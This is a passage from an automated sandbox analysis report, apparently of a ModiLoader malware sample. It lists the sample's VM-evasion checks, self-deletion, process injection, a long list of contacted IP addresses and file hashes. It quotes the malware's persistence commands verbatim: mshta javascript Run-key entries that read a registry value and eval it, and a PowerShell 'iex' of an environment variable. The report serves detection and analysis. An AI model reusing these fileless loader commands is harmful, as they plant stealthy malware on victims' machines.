Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	C:\Windows\SysWOW64\regsvr32.exe	N/A

Looks for VirtualBox drivers on disk

evasion

Description	Indicator	Process	Target
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	C:\Windows\SysWOW64\regsvr32.exe	N/A

ModiLoader Second Stage

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Looks for VMWare Tools registry key

evasion

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	C:\Windows\SysWOW64\regsvr32.exe	N/A

Checks BIOS information in registry

Description	Indicator	Process	Target
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	C:\Windows\SysWOW64\regsvr32.exe	N/A

Deletes itself

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A

Drops startup file

Description	Indicator	Process	Target
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\be0980.lnk	C:\Windows\SysWOW64\regsvr32.exe	N/A

Adds Run key to start application

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:xyLEeYk0=\"knWYfaTI2H\";V25r=new%20ActiveXObject(\"WScript.Shell\");tA2Nha8lr=\"PCA7OA5QlJ\";Yggf7=V25r.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\hsgrudze\\\\zdxvakv\");AUhzJWV2=\"QnXp\";eval(Yggf7);zWJTt0zEW=\"HywxEX\";"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:UjDi1ljy=\"1c\";T29f=new%20ActiveXObject(\"WScript.Shell\");M5OOYHfr0=\"IMmTQIfKO\";sE3vD3=T29f.RegRead(\"HKCU\\\\software\\\\hsgrudze\\\\zdxvakv\");xnmiF5Xm=\"wH95Kd0I\";eval(sE3vD3);hRMID1o9N=\"Vg3\";"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\416844\\eecdc5.lnk\""	C:\Windows\SysWOW64\regsvr32.exe	N/A

Maps connected drives based on registry

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	C:\Windows\SysWOW64\regsvr32.exe	N/A

Drops file in System32 directory

Description	Indicator	Process	Target
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 2820 set thread context of 1960	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2596 set thread context of 1696	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 1696 set thread context of 812	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware

Description	Indicator	Process	Target
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\International	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	C:\Windows\SysWOW64\regsvr32.exe	N/A

Modifies registry class

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b494\shell\open\command\ = "mshta \"javascript:Fx63nijC=\"jz\";S17f=new ActiveXObject(\"WScript.Shell\");ItUu67OQU=\"PShpbnNi2G\";II0O4K=S17f.RegRead(\"HKCU\\\\software\\\\hsgrudze\\\\zdxvakv\");LbuAk7o9=\"j\";eval(II0O4K);DxnPa2BAr=\"Qv\";\""	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\.983f33d	C:\Windows\SysWOW64\regsvr32.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\.983f33d\ = "81b494"	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b494	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b494\shell	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b494\shell\open	C:\Windows\SysWOW64\regsvr32.exe	N/A
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b494\shell\open\command	C:\Windows\SysWOW64\regsvr32.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A

Suspicious behavior: MapViewOfSection

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2820 wrote to memory of 1960	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2820 wrote to memory of 1960	N/A	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe	C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe
PID 2584 wrote to memory of 2596	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2584 wrote to memory of 2596	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2584 wrote to memory of 2596	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2584 wrote to memory of 2596	N/A	C:\Windows\system32\mshta.exe	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2596 wrote to memory of 1696	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2596 wrote to memory of 1696	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2596 wrote to memory of 1696	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2596 wrote to memory of 1696	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2596 wrote to memory of 1696	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2596 wrote to memory of 1696	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2596 wrote to memory of 1696	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2596 wrote to memory of 1696	N/A	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 1696 wrote to memory of 812	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 1696 wrote to memory of 812	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 1696 wrote to memory of 812	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 1696 wrote to memory of 812	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 1696 wrote to memory of 812	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 1696 wrote to memory of 812	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 1696 wrote to memory of 812	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 1696 wrote to memory of 812	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\b434689b1cbd3ec1badc2d6894ba03ba_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:bThboW4l="7qFV";S8T=new%20ActiveXObject("WScript.Shell");wA0Ihqh5="FUHPS6f";P1Iia=S8T.RegRead("HKLM\\software\\Wow6432Node\\uloK5t34\\zlWfQJc");iYvO9IAP="Nk6";eval(P1Iia);cV9Hfap0="2WZW2MUrCN";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:cytupqk

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country	Destination	Domain	Proto
N/A	10.103.240.119:80		tcp
EG	105.180.30.119:80		tcp
VE	181.19.24.54:80		tcp
US	56.163.99.110:8080		tcp
US	152.221.77.80:80		tcp
US	173.213.152.75:80		tcp
US	67.61.107.252:80		tcp
CA	203.31.245.70:80		tcp
US	215.215.152.36:8080		tcp
US	204.236.248.96:80		tcp
US	72.129.124.189:80		tcp
DE	164.20.222.255:8080		tcp
US	131.3.221.29:8080		tcp
US	56.168.90.111:80		tcp
AU	20.211.188.32:80		tcp
US	68.234.48.234:80		tcp
CN	222.77.175.48:80		tcp
CN	218.196.66.172:80		tcp
AT	194.96.71.232:80		tcp
CN	36.7.169.71:80		tcp
BR	187.6.94.224:443		tcp
CN	118.88.55.119:80		tcp
US	28.239.28.40:80		tcp
AR	190.193.69.218:80		tcp
US	205.127.15.112:8080		tcp
DE	62.9.33.58:80		tcp
US	6.221.8.128:80		tcp
SA	100.5.90.53:80		tcp
US	75.210.45.179:80		tcp
JP	61.208.141.136:80		tcp
GB	31.114.127.83:80		tcp
US	40.237.169.30:80		tcp
PH	104.29.12.208:80		tcp
MX	132.248.81.120:443		tcp
CN	110.48.179.66:8080		tcp
BR	179.127.177.13:80		tcp
BR	187.97.130.209:80		tcp
US	215.63.41.171:80		tcp
US	32.83.40.247:80		tcp
US	141.225.130.36:8080		tcp
US	9.137.98.195:8080		tcp
CN	111.63.153.161:8080		tcp
AT	145.241.65.32:80		tcp
GB	2.97.29.210:80		tcp
RS	5.22.162.134:80		tcp
CN	115.192.184.253:80		tcp
US	100.174.169.218:80		tcp
US	214.251.217.232:80		tcp
US	26.109.239.180:443		tcp
BR	179.153.15.51:80		tcp
KR	112.168.158.231:80		tcp
US	32.241.132.206:80		tcp
PL	188.146.246.215:80		tcp
US	4.25.31.52:8080		tcp
US	136.59.99.166:443		tcp
CN	118.118.226.234:80		tcp
US	131.106.17.61:8080		tcp
GB	86.27.239.159:80		tcp
JP	133.31.89.137:80		tcp
DE	160.60.207.115:80		tcp
BR	135.112.184.63:80		tcp
JP	150.5.132.131:80		tcp
US	168.14.168.212:80		tcp
US	8.198.171.21:80		tcp
IT	23.12.111.235:80		tcp
KR	210.183.75.103:80		tcp
TG	196.170.42.62:80		tcp
US	199.177.99.99:80		tcp
CN	27.149.227.128:80		tcp
US	184.14.33.88:80		tcp
CL	190.44.53.94:80		tcp
US	66.85.5.63:80		tcp
JP	126.8.127.137:8080		tcp
DE	3.70.112.226:80		tcp
US	70.194.91.70:80		tcp
US	184.189.170.46:80		tcp
US	205.141.242.237:80		tcp
CH	62.171.23.47:80		tcp
US	20.141.252.250:80		tcp
PL	193.32.50.27:80		tcp
CN	223.77.174.164:80		tcp
US	76.6.235.230:80		tcp
US	174.145.129.206:80		tcp
ZA	105.249.176.78:80		tcp
SE	66.111.252.206:80		tcp
US	152.80.235.185:80		tcp
KR	106.248.234.245:80		tcp
KR	114.205.8.84:80		tcp
US	19.17.192.66:443		tcp
JP	221.189.187.146:80		tcp
SG	168.161.27.162:80		tcp
IN	35.244.9.254:8080		tcp
IT	87.19.197.37:8080		tcp
US	19.70.68.91:80		tcp
US	63.249.45.216:80		tcp
DE	3.124.28.131:80		tcp
CN	125.97.146.25:80		tcp
CN	124.207.51.170:80		tcp
US	7.57.215.122:80		tcp
KR	54.116.44.243:80		tcp
CA	153.79.33.242:80		tcp
IT	93.44.112.189:80		tcp
AR	152.170.74.160:80		tcp
FR	91.121.73.190:80		tcp
US	63.169.172.157:80		tcp
US	184.25.44.250:80		tcp
CA	153.51.166.145:80		tcp
FR	163.74.243.95:80		tcp
US	131.240.29.80:80		tcp
MX	187.188.159.163:80		tcp
DE	212.114.154.144:8080		tcp
US	104.20.252.188:80		tcp
US	104.20.252.188:80	104.20.252.188	tcp
US	205.98.82.195:80		tcp
KR	101.55.75.235:80		tcp
CN	119.4.186.33:80		tcp
US	54.57.61.251:80		tcp
US	136.150.125.167:80		tcp
BR	189.55.137.137:80		tcp
SA	46.152.67.150:80		tcp
US	184.57.64.136:80		tcp
US	50.242.114.81:80		tcp
NL	188.203.223.179:80		tcp
IT	79.41.131.94:80		tcp
US	16.18.176.157:80		tcp
US	13.67.244.10:443		tcp
US	45.77.110.200:80		tcp
US	135.151.170.211:80		tcp
KR	220.79.248.242:80		tcp
ZA	213.193.34.199:80		tcp
US	12.245.222.51:443		tcp
US	35.223.25.113:80		tcp
RO	193.226.60.243:80		tcp
BR	45.131.227.44:80		tcp
VN	171.252.240.32:80		tcp
DO	152.166.192.46:80		tcp
US	68.246.128.86:80		tcp

Files

memory/1960-3-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1960-7-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1960-8-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1960-9-0x0000000001D00000-0x0000000001DD4000-memory.dmp

memory/1960-12-0x0000000001D00000-0x0000000001DD4000-memory.dmp

memory/1960-11-0x0000000001D00000-0x0000000001DD4000-memory.dmp

memory/1960-10-0x0000000001D00000-0x0000000001DD4000-memory.dmp

memory/1960-14-0x0000000001D00000-0x0000000001DD4000-memory.dmp

memory/1960-15-0x0000000001D00000-0x0000000001DD4000-memory.dmp

memory/2596-24-0x0000000006150000-0x0000000006224000-memory.dmp

memory/1696-26-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-32-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-33-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-31-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-30-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-35-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-27-0x0000000000160000-0x000000000029E000-memory.dmp

memory/2596-29-0x0000000006150000-0x0000000006224000-memory.dmp

memory/1696-39-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-48-0x0000000000160000-0x000000000029E000-memory.dmp

memory/2596-28-0x0000000002CC0000-0x0000000004CC0000-memory.dmp

memory/1696-62-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-68-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-51-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-50-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-69-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-49-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-59-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-58-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-57-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-47-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-46-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-45-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-44-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-43-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-42-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-41-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-40-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-38-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-37-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-36-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-34-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-61-0x0000000000160000-0x000000000029E000-memory.dmp

memory/1696-52-0x0000000000160000-0x000000000029E000-memory.dmp

memory/812-75-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-76-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-89-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-88-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-87-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-86-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-85-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-84-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-83-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-82-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-81-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-80-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-79-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-78-0x00000000001E0000-0x000000000031E000-memory.dmp

memory/812-77-0x00000000001E0000-0x000000000031E000-memory.dmp

C:\Users\Admin\AppData\Local\416844\7efaba.bat

MD5	a9d3ea542d72c3d4eb6e79b37f9b265e
SHA1	9ef048c6a4cc72891fe4b6d8c3ae59e134711cb9
SHA256	d287a2bcc9c2485a60329a6bb94fb260bec57524e3098a5bd7c7cedf3e460314
SHA512	eba879b158972749be9a48b1ff0d7393f69960da48c1f8e92c3886d9cf16ae437ac5eea449f59de788cbf5b9033ebc78311f2b591f6d41631521a3f0ea24208b

C:\Users\Admin\AppData\Roaming\730a4b\791dbf.983f33d

MD5	5e436feaf5bff11338e6c2d2cc27a386
SHA1	e6a51ba90373c85a53e475ef2a31a8ed72b4d7bd
SHA256	7bb60bc2c669b1d863d458c66ebbf5f8dba994ff4ced3ad8f7bff23a8ee020b1
SHA512	2cce44d005ea0bddeb294de941c6cce701a198d42b12fd2b2bd2e37ed209067d60ee1993d573eb1fea2541837228bdbf201c1d92d088df2a4f5012cee5c1803e

C:\Users\Admin\AppData\Local\416844\eecdc5.lnk

MD5	0b9b2889adaa01b84df3cfe6c10e0873
SHA1	13993bba5a8349571ebbc472c2bd74d05a4ae41d
SHA256	20fc72ab6ba4ee81174ed98e36399aecbe99345cdb2b098d71a896b68b3f4806
